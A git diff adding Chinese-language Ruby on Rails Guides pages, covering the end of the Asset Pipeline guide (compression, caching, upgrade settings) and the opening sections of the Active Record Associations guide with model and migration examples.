+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+
+
+
+

被认为是两个完全不同的静态资源文件的缓存。

如果我们把 Cache-Control HTTP 首部的 max-age 值设得很大,那么当静态资源文件的内容发生变化时,应同时使原有缓存失效。例如,当我们把黄色笑脸图像更换为蓝色笑脸图像时,我们希望网站的所有访客看到的都是新的蓝色笑脸图像。如果我们使用了 CDN,并使用了 Rails Asset Pipeline config.assets.digest 选项的默认值 true,一旦静态资源文件的内容发生变化,其文件名就会发生变化。这样,我们就不需要每次手动使某个静态资源文件的缓存失效。通过使用唯一的新文件名,我们就能确保用户访问的总是静态资源文件的最新版本。

5 自定义 Asset Pipeline

5.1 压缩 CSS

压缩 CSS 的可选方式之一是使用 YUI。通过 YUI CSS 压缩器可以缩小 CSS 文件的大小。

在 Gemfile 中添加 yui-compressor gem 后,通过下面的设置可以启用 YUI 压缩:

+
+config.assets.css_compressor = :yui
+
+
+
+

如果我们在 Gemfile 中添加了 sass-rails gem,那么也可以使用 Sass 压缩:

+
+config.assets.css_compressor = :sass
+
+
+
+

5.2 压缩 JavaScript

压缩 JavaScript 的可选方式有 :closure:uglifier:yui,分别要求在 Gemfile 中添加 closure-compileruglifieryui-compressor gem。

默认情况下,Gemfile 中包含了 uglifier gem,这个 gem 使用 Ruby 包装 UglifyJS(使用 NodeJS 开发),作用是通过删除空白和注释、缩短局部变量名及其他微小优化(例如在可能的情况下把 if&#8230;&#8203;else 语句修改为三元运算符)压缩 JavaScript 代码。

使用 uglifier 压缩 JavaScript 需进行如下设置:

+
+config.assets.js_compressor = :uglifier
+
+
+
+

要使用 uglifier 压缩 JavaScript,就必须安装支持 ExecJS 的运行时。macOS 和 Windows 已经预装了此类运行时。

5.3 用 GZip 压缩静态资源文件

默认情况下,Sprockets 会用 GZip 压缩编译后的静态资源文件,同时也会保留未压缩的版本。通过 GZip 压缩可以减少对带宽的占用。设置 GZip 压缩的方式如下:

+
+config.assets.gzip = false # 禁止用 GZip 压缩静态资源文件
+
+
+
+

5.4 自定义压缩工具

在设置 CSS 和 JavaScript 压缩工具时还可以使用对象。这个对象要能响应 compress 方法,这个方法接受一个字符串作为唯一参数,并返回一个字符串。

+
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+
+
+
+

要使用这个压缩工具,需在 application.rb 配置文件中做如下设置:

+
+config.assets.css_compressor = Transformer.new
+
+
+
+

5.5 修改静态资源文件的路径

默认情况下,Sprockets 使用 /assets 作为静态资源文件的公开路径。

我们可以修改这个路径:

+
+config.assets.prefix = "/some_other_path"
+
+
+
+

通过这种方式,在升级未使用 Asset Pipeline 但使用了 /assets 路径的老项目时,我们就可以轻松为新的静态资源文件设置另一个公开路径。

5.6 X-Sendfile 首部

X-Sendfile 首部的作用是让 Web 服务器忽略应用对请求的响应,直接返回磁盘中的指定文件。默认情况下 Rails 不会发送这个首部,但在支持这个首部的服务器上可以启用这一特性,以提供更快的响应速度。关于这一特性的更多介绍,请参阅 send_file 方法的文档

Apache 和 NGINX 支持 X-Sendfile 首部,启用方法是在 config/environments/production.rb 配置文件中进行设置:

+
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # 用于 Apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # 用于 NGINX
+
+
+
+

要想在升级现有应用时使用上述选项,可以把这两行代码粘贴到 production.rb 配置文件中,或其他类似的生产环境配置文件中。

更多介绍请参阅生产服务器的相关文档:ApacheNGINX

6 静态资源文件缓存的存储方式

在开发环境和生产环境中,Sprockets 默认在 tmp/cache/assets 文件夹中缓存静态资源文件。修改这一设置的方式如下:

+
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
+                                                { size: 32.megabytes })
+end
+
+
+
+

禁用静态资源文件缓存的方式如下:

+
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
+
+
+
+

7 通过 gem 添加静态资源文件

我们还可以通过 gem 添加静态资源文件。

为 Rails 提供标准 JavaScript 库的 jquery-rails gem 就是很好的例子。这个 gem 中包含了继承自 Rails::Engine 类的引擎类,这样 Rails 就知道这个 gem 中可能包含静态资源文件,于是会把其中的 app/assetslib/assetsvendor/assets 文件夹添加到 Sprockets 的搜索路径中。

8 使用代码库或 gem 作为预处理器

Sprockets 使用 Processors、Transformers、Compressors 和 Exporters 扩展功能。详情参阅“Extending Sprockets”一文。下述示例注册一个预处理器,在 text/css 文件(.css)默认添加一个注释。

+
+module AddComment
+  def self.call(input)
+    { data: input[:data] + "/* Hello From my sprockets extension */" }
+  end
+end
+
+
+
+

有了修改输入数据的模块后,还要把它注册为指定 MIME 类型的预处理器:

+
+Sprockets.register_preprocessor 'text/css', AddComment
+
+
+
+

9 从旧版本的 Rails 升级

从 Rails 3.0 或 Rails 2.x 升级时有一些问题需要解决。首先,要把 public/ 文件夹中的文件移动到新位置。关于不同类型文件储存位置的介绍,请参阅 静态资源文件的组织方式

其次,要避免出现重复的 JavaScript 文件。从 Rails 3.1 开始,jQuery 成为默认的 JavaScript 库,Rails 会自动加载 jquery.js,不再需要手动把 jquery.js 复制到 app/assets 文件夹中。

再次,要使用正确的默认选项更新各种环境配置文件。

application.rb 配置文件中:

+
+# 静态资源文件的版本,通过修改这个选项可以使原有的静态资源文件缓存全部过期
+config.assets.version = '1.0'
+
+# 通过 onfig.assets.prefix = "/assets" 修改静态资源文件的路径
+
+
+
+

development.rb 配置文件中:

+
+# 展开用于加载静态资源文件的代码
+config.assets.debug = true
+
+
+
+

production.rb 配置文件中:

+
+# 选择(可用的)压缩工具
+config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# 在找不到已编译的静态资源文件的情况下,不退回到 Asset Pipeline
+config.assets.compile = false
+
+# 为静态资源文件的 URL 地址生成指纹
+config.assets.digest = true
+
+# 预编译附加的静态资源文件(application.js、application.css 和所有
+# 已添加的非 JS/CSS 文件)
+# config.assets.precompile += %w( admin.js admin.css )
+
+
+
+

Rails 4 及更高版本不会再在 test.rb 配置文件中添加 Sprockets 的默认设置,因此需要手动完成。需要添加的默认设置包括 config.assets.compile = trueconfig.assets.compress = falseconfig.assets.debug = falseconfig.assets.digest = false

最后,还要在 Gemfile 中加入下列 gem:

+
+gem 'sass-rails',   "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/association_basics.html b/association_basics.html new file mode 100644 index 0000000..56af8e6 --- /dev/null +++ b/association_basics.html @@ -0,0 +1,2316 @@ + + + + + + + +Active Record 关联 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 关联

本文介绍 Active Record 的关联功能。

读完本文后,您将学到:

+
    +
  • 如何声明 Active Record 模型间的关联;
  • +
  • 怎么理解不同的 Active Record 关联类型;
  • +
  • 如何使用关联为模型添加的方法。
  • +
+ + + + +
+
+ +
+
+
+

1 为什么使用关联

在 Rails 中,关联在两个 Active Record 模型之间建立联系。模型之间为什么要有关联?因为关联能让常规操作变得更简单。例如,在一个简单的 Rails 应用中,有一个作者模型和一个图书模型。每位作者可以著有多本图书。不用关联的话,模型可以像下面这样定义:

+
+class Author < ApplicationRecord
+end
+
+class Book < ApplicationRecord
+end
+
+
+
+

现在,假如我们想为一位现有作者添加一本书,得这么做:

+
+@book = Book.create(published_at: Time.now, author_id: @author.id)
+
+
+
+

假如要删除一位作者的话,也要把属于他的书都删除:

+
+@books = Book.where(author_id: @author.id)
+@books.each do |book|
+  book.destroy
+end
+@author.destroy
+
+
+
+

使用 Active Record 关联,Rails 知道两个模型之间有联系,上述操作(以及其他操作)可以得到简化。下面使用关联重新定义作者和图书模型:

+
+class Author < ApplicationRecord
+  has_many :books, dependent: :destroy
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

这么修改之后,为某位作者添加新书就简单了:

+
+@book = @author.books.create(published_at: Time.now)
+
+
+
+

删除作者及其所有图书也更容易:

+
+@author.destroy
+
+
+
+

请阅读下一节,进一步学习不同的关联类型。后面还会介绍一些使用关联时的小技巧,然后列出关联添加的所有方法和选项。

2 关联的类型

Rails 支持六种关联:

+
    +
  • belongs_to +
  • +
  • has_one +
  • +
  • has_many +
  • +
  • has_many :through +
  • +
  • has_one :through +
  • +
  • has_and_belongs_to_many +
  • +
+

关联使用宏式调用实现,用声明的形式为模型添加功能。例如,声明一个模型属于(belongs_to)另一个模型后,Rails 会维护两个模型之间的“主键-外键”关系,而且还会向模型中添加很多实用的方法。

在下面几小节中,你会学到如何声明并使用这些关联。首先来看一下各种关联适用的场景。

2.1 belongs_to 关联

belongs_to 关联创建两个模型之间一对一的关系,声明所在的模型实例属于另一个模型的实例。例如,如果应用中有作者和图书两个模型,而且每本书只能指定给一位作者,就要这么声明图书模型:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

belongs to

belongs_to 关联声明中必须使用单数形式。如果在上面的代码中使用复数形式定义 author 关联,应用会报错,提示“uninitialized constant Book::Authors”。这是因为 Rails 自动使用关联名推导类名。如果关联名错误地使用复数,推导出的类名也就变成了复数。

相应的迁移如下:

+
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.2 has_one 关联

has_one 关联也建立两个模型之间的一对一关系,但语义和结果有点不一样。这种关联表示模型的实例包含或拥有另一个模型的实例。例如,应用中每个供应商只有一个账户,可以这么定义供应商模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+
+
+

has one

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+  end
+end
+
+
+
+

根据使用需要,可能还要为 accounts 表中的 supplier 列创建唯一性索引和(或)外键约束。这里,我们像下面这样定义这一列:

+
+create_table :accounts do |t|
+  t.belongs_to :supplier, index: { unique: true }, foreign_key: true
+  # ...
+end
+
+
+
+

2.3 has_many 关联

has_many 关联建立两个模型之间的一对多关系。在 belongs_to 关联的另一端经常会使用这个关联。has_many 关联表示模型的实例有零个或多个另一模型的实例。例如,对应用中的作者和图书模型来说,作者模型可以这样声明:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

声明 has_many 关联时,另一个模型使用复数形式。

has many

相应的迁移如下:

+
+class CreateAuthors < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.4 has_many :through 关联

has_many :through 关联经常用于建立两个模型之间的多对多关联。这种关联表示一个模型的实例可以借由第三个模型,拥有零个和多个另一模型的实例。例如,在医疗锻炼中,病人要和医生约定练习时间。这中间的关联声明如下:

+
+class Physician < ApplicationRecord
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ApplicationRecord
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ApplicationRecord
+  has_many :appointments
+  has_many :physicians, through: :appointments
+end
+
+
+
+

has many through

相应的迁移如下:

+
+class CreateAppointments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician, index: true
+      t.belongs_to :patient, index: true
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+
+
+
+

联结模型可以使用 has_many 关联方法管理。例如:

+
+physician.patients = patients
+
+
+
+

会为新建立的关联对象创建联结模型实例。如果其中一个对象删除了,相应的联结记录也会删除。

自动删除联结模型的操作直接执行,不会触发 *_destroy 回调。

has_many :through 还能简化嵌套的 has_many 关联。例如,一个文档分为多个部分,每一部分又有多个段落,如果想使用简单的方式获取文档中的所有段落,可以这么做:

+
+class Document < ApplicationRecord
+  has_many :sections
+  has_many :paragraphs, through: :sections
+end
+
+class Section < ApplicationRecord
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ApplicationRecord
+  belongs_to :section
+end
+
+
+
+

加上 through: :sections 后,Rails 就能理解这段代码:

+
+@document.paragraphs
+
+
+
+

2.5 has_one :through 关联

has_one :through 关联建立两个模型之间的一对一关系。这种关联表示一个模型通过第三个模型拥有另一模型的实例。例如,每个供应商只有一个账户,而且每个账户都有一个账户历史,那么可以这么定义模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+  has_one :account_history, through: :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ApplicationRecord
+  belongs_to :account
+end
+
+
+
+

相应的迁移如下:

+
+class CreateAccountHistories < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account, index: true
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
+end
+
+
+
+

has one through

2.6 has_and_belongs_to_many 关联

has_and_belongs_to_many 关联直接建立两个模型之间的多对多关系,不借由第三个模型。例如,应用中有装配体和零件两个模型,每个装配体有多个零件,每个零件又可用于多个装配体,这时可以按照下面的方式定义模型:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

habtm

相应的迁移如下:

+
+class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
+
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly, index: true
+      t.belongs_to :part, index: true
+    end
+  end
+end
+
+
+
+

2.7 在 belongs_tohas_one 之间选择

如果想建立两个模型之间的一对一关系,要在一个模型中添加 belongs_to,在另一模型中添加 has_one。但是怎么知道在哪个模型中添加哪个呢?

二者之间的区别是在哪里放置外键(外键在 belongs_to 关联所在模型对应的表中),不过也要考虑数据的语义。has_one 的意思是某样东西属于我,即哪个东西指向你。例如,说供应商有一个账户,比账户拥有供应商更合理,所以正确的关联应该这么声明:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+end
+
+
+
+

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+
+    add_index :accounts, :supplier_id
+  end
+end
+
+
+
+

t.integer :supplier_id 更明确地表明了外键的名称。在目前的 Rails 版本中,可以抽象实现的细节,使用 t.references :supplier 代替。

2.8 在 has_many :throughhas_and_belongs_to_many 之间选择

Rails 提供了两种建立模型之间多对多关系的方式。其中比较简单的是 has_and_belongs_to_many,可以直接建立关联:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

第二种方式是使用 has_many :through,通过联结模型间接建立关联:

+
+class Assembly < ApplicationRecord
+  has_many :manifests
+  has_many :parts, through: :manifests
+end
+
+class Manifest < ApplicationRecord
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ApplicationRecord
+  has_many :manifests
+  has_many :assemblies, through: :manifests
+end
+
+
+
+

根据经验,如果想把关联模型当做独立实体使用,要用 has_many :through 关联;如果不需要使用关联模型,建立 has_and_belongs_to_many 关联更简单(不过要记得在数据库中创建联结表)。

如果要对联结模型做数据验证、调用回调,或者使用其他属性,要使用 has_many :through 关联。

2.9 多态关联

关联还有一种高级形式——多态关联(polymorphic association)。在多态关联中,在同一个关联中,一个模型可以属于多个模型。例如,图片模型可以属于雇员模型或者产品模型,模型的定义如下:

+
+class Picture < ApplicationRecord
+  belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+
+class Product < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+
+
+
+

belongs_to 中指定使用多态,可以理解成创建了一个接口,可供任何一个模型使用。在 Employee 模型实例上,可以使用 @employee.pictures 获取图片集合。

类似地,可使用 @product.pictures 获取产品的图片。

Picture 模型的实例上,可以使用 @picture.imageable 获取父对象。不过事先要在声明多态接口的模型中创建外键字段和类型字段:

+
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+
+    add_index :pictures, [:imageable_type, :imageable_id]
+  end
+end
+
+
+
+

上面的迁移可以使用 t.references 简化:

+
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, polymorphic: true, index: true
+      t.timestamps
+    end
+  end
+end
+
+
+
+

polymorphic

2.10 自联结

设计数据模型时,模型有时要和自己建立关系。例如,在一个数据库表中保存所有雇员的信息,但要建立经理和下属之间的关系。这种情况可以使用自联结关联解决:

+
+class Employee < ApplicationRecord
+  has_many :subordinates, class_name: "Employee",
+                          foreign_key: "manager_id"
+
+  belongs_to :manager, class_name: "Employee"
+end
+
+
+
+

这样定义模型后,可以使用 @employee.subordinates@employee.manager 检索了。

在迁移(模式)中,要添加一个引用字段,指向模型自身:

+
+class CreateEmployees < ActiveRecord::Migration[5.0]
+  def change
+    create_table :employees do |t|
+      t.references :manager, index: true
+      t.timestamps
+    end
+  end
+end
+
+
+
+

3 小技巧和注意事项

为了在 Rails 应用中有效使用 Active Record 关联,要了解以下几点:

+
    +
  • 控制缓存
  • +
  • 避免命名冲突
  • +
  • 更新模式
  • +
  • 控制关联的作用域
  • +
  • 双向关联
  • +
+

3.1 控制缓存

关联添加的方法都会使用缓存,记录最近一次查询的结果,以备后用。缓存还会在方法之间共享。例如:

+
+author.books           # 从数据库中检索图书
+author.books.size      # 使用缓存的图书副本
+author.books.empty?    # 使用缓存的图书副本
+
+
+
+

应用的其他部分可能会修改数据,那么应该怎么重载缓存呢?在关联上调用 reload 即可:

+
+author.books                 # 从数据库中检索图书
+author.books.size            # 使用缓存的图书副本
+author.books.reload.empty?   # 丢掉缓存的图书副本
+                             # 重新从数据库中检索
+
+
+
+

3.2 避免命名冲突

关联的名称并不能随意使用。因为创建关联时,会向模型添加同名方法,所以关联的名字不能和 ActiveRecord::Base 中的实例方法同名。如果同名,关联方法会覆盖 ActiveRecord::Base 中的实例方法,导致错误。例如,关联的名字不能为 attributesconnection

3.3 更新模式

关联非常有用,但没什么魔法。关联对应的数据库模式需要你自己编写。不同的关联类型,要做的事也不同。对 belongs_to 关联来说,要创建外键;对 has_and_belongs_to_many 关联来说,要创建相应的联结表。

3.3.1 创建 belongs_to 关联所需的外键

声明 belongs_to 关联后,要创建相应的外键。例如,有下面这个模型:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

上述关联需要在 books 表中创建相应的外键:

+
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :books do |t|
+      t.datetime :published_at
+      t.string   :book_number
+      t.integer  :author_id
+    end
+
+    add_index :books, :author_id
+  end
+end
+
+
+
+

如果声明关联之前已经定义了模型,则要在迁移中使用 add_column 创建外键。

为了提升查询性能,最好为外键添加索引;为了保证参照完整性,最好为外键添加约束:

+
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :books do |t|
+      t.datetime :published_at
+      t.string   :book_number
+      t.integer  :author_id
+    end
+
+    add_index :books, :author_id
+    add_foreign_key :books, :authors
+  end
+end
+
+
+
+

3.3.2 创建 has_and_belongs_to_many 关联所需的联结表

创建 has_and_belongs_to_many 关联后,必须手动创建联结表。除非使用 :join_table 选项指定了联结表的名称,否则 Active Record 会按照类名出现在字典中的顺序为表起名。因此,作者和图书模型使用的联结表默认名为“authors_books”,因为在字典中,“a”在“b”前面。

模型名的顺序使用字符串的 &lt;=&gt; 运算符确定。所以,如果两个字符串的长度不同,比较最短长度时,两个字符串是相等的,那么长字符串的排序比短字符串靠前。例如,你可能以为“paper_boxes”和“papers”这两个表生成的联结表名为“papers_paper_boxes”,因为“paper_boxes”比“papers”长,但其实生成的联结表名为“paper_boxes_papers”,因为在一般的编码方式中,“_”比“s”靠前。

不管名称是什么,你都要在迁移中手动创建联结表。例如下面的关联:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

上述关联需要在迁移中创建 assemblies_parts 表,而且该表无主键:

+
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+
+    add_index :assemblies_parts, :assembly_id
+    add_index :assemblies_parts, :part_id
+  end
+end
+
+
+
+

我们把 id: false 选项传给 create_table 方法,因为这个表不对应模型。只有这样,关联才能正常建立。如果在使用 has_and_belongs_to_many 关联时遇到奇怪的行为,例如提示模型 ID 损坏,或 ID 冲突,有可能就是因为创建了主键。

联结表还可以使用 create_join_table 方法创建:

+
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :assemblies, :parts do |t|
+      t.index :assembly_id
+      t.index :part_id
+    end
+  end
+end
+
+
+
+

3.4 控制关联的作用域

默认情况下,关联只会查找当前模块作用域中的对象。如果在模块中定义 Active Record 模型,知道这一点很重要。例如:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

上面的代码能正常运行,因为 SupplierAccount 在同一个作用域中。但下面这段代码就不行了,因为 SupplierAccount 在不同的作用域中:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

要想让处在不同命名空间中的模型正常建立关联,声明关联时要指定完整的类名:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
+end
+
+
+
+

3.5 双向关联

一般情况下,都要求能在关联的两端进行操作,即在两个模型中都要声明关联。

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

通过关联的名称,Active Record 能探知这两个模型之间建立的是双向关联。这样一来,Active Record 只会加载一个 Author 对象副本,从而确保应用运行效率更高效,并避免数据不一致。

+
+a = Author.first
+b = a.books.first
+a.first_name == b.author.first_name # => true
+a.first_name = 'David'
+a.first_name == b.author.first_name # => true
+
+
+
+

Active Record 能自动识别多数具有标准名称的双向关联。然而,具有下述选项的关联无法识别:

+
    +
  • :conditions +
  • +
  • :through +
  • +
  • :polymorphic +
  • +
  • :class_name +
  • +
  • :foreign_key +
  • +
+

例如,对下属模型来说:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+end
+
+
+
+

Active Record 就无法自动识别这个双向关联:

+
+a = Author.first
+b = a.books.first
+a.first_name == b.writer.first_name # => true
+a.first_name = 'David'
+a.first_name == b.writer.first_name # => false
+
+
+
+

Active Record 提供了 :inverse_of 选项,可以通过它明确声明双向关联:

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: 'writer'
+end
+
+class Book < ApplicationRecord
+  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
+end
+
+
+
+

has_many 声明中指定 :inverse_of 选项后,Active Record 便能识别双向关联:

+
+a = Author.first
+b = a.books.first
+a.first_name == b.writer.first_name # => true
+a.first_name = 'David'
+a.first_name == b.writer.first_name # => true
+
+
+
+

inverse_of 有些限制:

+
    +
  • 不支持 :through 关联;
  • +
  • 不支持 :polymorphic 关联;
  • +
  • 不支持 :as 选项;
  • +
+

4 关联详解

下面几小节详细说明各种关联,包括添加的方法和声明关联时可以使用的选项。

4.1 belongs_to 关联详解

belongs_to 关联创建一个模型与另一个模型之间的一对一关系。用数据库术语来说,就是这个类中包含外键。如果外键在另一个类中,应该使用 has_one 关联。

4.1.1 belongs_to 关联添加的方法

声明 belongs_to 关联后,所在的类自动获得了五个和关联相关的方法:

+
    +
  • association +
  • +
  • association=(associate) +
  • +
  • build_association(attributes = {}) +
  • +
  • create_association(attributes = {}) +
  • +
  • create_association!(attributes = {}) +
  • +
+

这五个方法中的 association 要替换成传给 belongs_to 方法的第一个参数。对下述声明来说:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

Book 模型的每个实例都获得了这些方法:

+
+author
+author=
+build_author
+create_author
+create_author!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.1.1.1 association +

如果关联的对象存在,association 方法会返回关联的对象。如果找不到关联的对象,返回 nil

+
+@author = @book.author
+
+
+
+

如果关联的对象之前已经取回,会返回缓存版本。如果不想使用缓存版本(强制读取数据库)在父对象上调用 #reload 方法。

+
+@author = @book.reload.author
+
+
+
+

4.1.1.2 association=(associate) +

association= 方法用于赋值关联的对象。这个方法的底层操作是,从关联对象上读取主键,然后把值赋给该主键对应的对象。

+
+@book.author = @author
+
+
+
+

4.1.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,对象的外键会自动设置,但关联对象不会存入数据库。

+
+@author = @book.build_author(author_number: 123,
+                             author_name: "John Doe")
+
+
+
+

4.1.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,对象的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@author = @book.create_author(author_number: 123,
+                                   author_name: "John Doe")
+
+
+
+

4.1.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.1.2 belongs_to 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 belongs_to 关联的行为。定制的方法很简单,声明关联时传入选项或者使用代码块即可。例如,下面的关联使用了两个选项:

+
+class Book < ApplicationRecord
+  belongs_to :author, dependent: :destroy,
+    counter_cache: true
+end
+
+
+
+

belongs_to 关联支持下列选项:

+
    +
  • :autosave +
  • +
  • :class_name +
  • +
  • :counter_cache +
  • +
  • :dependent +
  • +
  • :foreign_key +
  • +
  • :primary_key +
  • +
  • :inverse_of +
  • +
  • :polymorphic +
  • +
  • :touch +
  • +
  • :validate +
  • +
  • :optional +
  • +
+

4.1.2.1 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.1.2.2 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,如果一本书属于一位作者,但是表示作者的模型是 Patron,就可以这样声明关联:

+
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron"
+end
+
+
+
+

4.1.2.3 :counter_cache +

:counter_cache 选项可以提高统计所属对象数量操作的效率。以下述模型为例:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

这样声明关联后,如果想知道 @author.books.size 的结果,要在数据库中执行 COUNT(*) 查询。如果不想执行这个查询,可以在声明 belongs_to 关联的模型中加入计数缓存功能:

+
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: true
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

这样声明关联后,Rails 会及时更新缓存,调用 size 方法时会返回缓存中的值。

虽然 :counter_cache 选项在声明 belongs_to 关联的模型中设置,但实际使用的字段要添加到所关联的模型中(has_many 那一方)。针对上面的例子,要把 books_count 字段加入 Author 模型。

这个字段的名称也是可以设置的,把 counter_cache 选项的值换成列名即可。例如,不使用 books_count,而是使用 count_of_books

+
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: :count_of_books
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

只需在关联的 belongs_to 一侧指定 :counter_cache 选项。

